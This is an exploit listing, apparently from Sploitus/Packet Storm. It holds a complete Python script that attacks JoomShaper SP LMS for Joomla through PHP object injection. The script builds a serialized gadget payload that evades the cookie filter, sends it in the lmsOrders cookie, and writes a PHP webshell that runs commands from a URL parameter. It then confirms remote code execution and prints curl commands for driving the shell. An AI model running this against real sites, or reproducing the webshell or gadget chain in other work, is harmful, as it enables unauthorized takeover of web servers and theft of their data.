Share
## https://sploitus.com/exploit?id=PACKETSTORM:225280
Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection 
    Affected : JoomShaper SP LMS <= 4.1.3
    Fixed    : JoomShaper SP LMS >= 4.1.4
    Author   : Amin ฤฐsayev / Proxima Cyber Security
    
    Joomla version note:
      RCE requires Joomla < 5.2.2
      Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
      gadget chain โ€” PHP Object Injection still exists in com_splms but no
      known public gadget chain leads to RCE on patched Joomla versions.
    
    Attack chain:
      lmsOrders cookie
      โ†’ unserialize(base64_decode($cookie))          [com_splms/models/cart.php:28]
      โ†’ FormattedtextLogger.__destruct()              [Joomla gadget]
      โ†’ File::write($path, $format)
      โ†’ webshell on disk
    
    Joomla Input filter note:
      $cookie->get() uses 'cmd' filter by default โ†’ strips '/', '=', '+' from cookie.
      Fix: pad format string so serialized total is divisible by 3 (no '=') and
      iterate until base64 has no '/' (shifts encoding).
    
      Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n
    
    Usage:
      python3 CVE-2026-48909_exploit.py <target> <server_path>
    
      server_path = absolute PHP-writable path on server
      Examples  :
        /var/www/html/tmp/x.php
        /home/USER/public_html/tmp/x.php
        /var/www/vhosts/site.com/httpdocs/tmp/x.php
    """
    
    import sys
    import base64
    import requests
    import urllib3
    
    urllib3.disable_warnings()
    
    CART_PATH = "/index.php?option=com_splms&view=cart"
    TIMEOUT   = 15
    WEBSHELL  = '<?php fpassthru(popen($_GET["c"],"r"));?>'
    
    # โ”€โ”€โ”€ PHP serializer โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    
    def _s(s: str) -> str:
        return f's:{len(s.encode())}:"{s}";'
    
    def _pk(name: str) -> str:
        """Protected property key (null-byte notation for string concat)"""
        return f'\x00*\x00{name}'
    
    def _build_serialized(webshell_path: str, fmt: str) -> str:
        """Build the raw PHP serialized string (not yet base64)."""
        entry = (
            'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'
            's:4:"date";s:10:"1234567890";'
            's:4:"time";s:1:"t";'
            's:1:"f";s:3:"xxx";'
            '}'
        )
        cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'
    
        props = (
            _s(_pk('defer'))    + 'b:1;' +
            _s(_pk('options'))  + 'a:1:{s:16:"text_file_no_php";b:1;}' +
            _s(_pk('path'))     + _s(webshell_path) +
            _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
            _s(_pk('format'))   + _s(fmt) +
            _s(_pk('fields'))   + 'a:0:{}'
        )
        return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'
    
    
    def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
        """
        Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.
    
        The filter strips '/', '=' and '+'. We avoid these by:
          1. Encoding php_code as hex โ†’ no '$', '_', '{', '}', '\\n' in format
          2. Padding format to make total serialized length divisible by 3 โ†’ no '=' padding
          3. Iterating pad size (by 3) until base64 contains no '/' chars
    
        Returns (base64_payload, format_length).
        """
        hex_code   = php_code.encode().hex()
        core       = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
        pad_prefix = '/*'
        pad_suffix = '*/;?>'
    
        PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
        for target_fmt_len in range(200, 8000):
            pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
            if pad_len < 0:
                continue
    
            # Quick mod-3 check with first pad_char before trying all 62
            fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
            ser_probe  = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
            if len(ser_probe) % 3 != 0:
                continue  # no pad_char can fix mod-3 alignment for this length
    
            for pad_char in PAD_CHARS:
                fmt = core + pad_prefix + pad_char * pad_len + pad_suffix
    
                serialized = _build_serialized(webshell_path, fmt)
                ser_bytes   = serialized.encode('latin-1')
                b64 = base64.b64encode(ser_bytes).decode()
    
                if '/' not in b64 and '+' not in b64:
                    return b64, len(fmt)
    
        raise RuntimeError("Could not find filter-safe payload โ€” try a different path")
    
    
    # โ”€โ”€โ”€ Exploit โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    
    def _server_path_to_url(server_path: str) -> str:
        """Strip webroot prefix to get the URL path."""
        import re
        # cPanel: /home[N]/USER/public_html/...
        m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path)
        if m:
            return m.group(1)
        # Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
        m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
        if m:
            return m.group(1)
        # Standard
        for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
            if server_path.startswith(prefix):
                return server_path[len(prefix):]
        return server_path
    
    
    def exploit(target: str, server_path: str) -> None:
        url_path = _server_path_to_url(server_path)
    
        cart_url  = target.rstrip('/') + CART_PATH
        shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)
    
        session = requests.Session()
        session.verify = False
        session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
        })
    
        print(f"[*] Target     : {target}")
        print(f"[*] Shell path : {server_path}")
        print(f"[*] Shell URL  : {shell_url}")
    
        print("[*] Building filter-safe payload...")
        payload, fmt_len = build_payload(server_path, WEBSHELL)
        print(f"[*] Format len : {fmt_len} bytes  |  Base64 len: {len(payload)}")
        print(f"[*] Payload    : {payload[:60]}...")
        print()
    
        try:
            r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
            status = r.status_code
            if status == 500:
                print(f"[+] HTTP 500 โ€” gadget triggered (FormattedtextLogger.__destruct)")
            elif status == 200:
                print(f"[?] HTTP 200 โ€” payload may have been filtered or gadget not triggered")
            else:
                print(f"[?] HTTP {status}")
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")
            return
    
        import time; time.sleep(1)
    
        # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
        print("[*] Step 1: triggering fopen/fwrite loader...")
        try:
            r1 = session.get(shell_url, timeout=TIMEOUT)
            print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
        except requests.RequestException as e:
            print(f"[!] Loader request failed: {e}")
    
        # Step 2: verify RCE
        print("[*] Step 2: checking shell...")
        try:
            rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
            if rv.status_code == 200 and 'uid=' in rv.text:
                print(f"\n[+] SHELL ACTIVE!")
                print(f"[+] id: {rv.text.strip()[:200]}")
                print(f"\n    curl -sk '{shell_url}?c=COMMAND'")
            elif rv.status_code == 200 and len(rv.text.strip()) < 600:
                print(f"\n[~] File accessible:")
                print(f"    {rv.text.strip()[:300]}")
                print(f"\n    Try again: curl -sk '{shell_url}?c=id'")
            elif rv.status_code == 404:
                print(f"[-] Shell not found (404) โ€” file not written or wrong path")
                print(f"    Common paths: /tmp/x.php  /images/x.php  /cache/x.php")
            elif rv.status_code == 403:
                print(f"[~] 403 โ€” file may exist but PHP not served there")
            else:
                print(f"[-] HTTP {rv.status_code}")
        except requests.RequestException as e:
            print(f"[!] Shell check failed: {e}")
    
    
    def main():
        if len(sys.argv) < 3:
            print(__doc__)
            sys.exit(1)
    
        exploit(sys.argv[1], sys.argv[2])
    
    
    if __name__ == '__main__':
        main()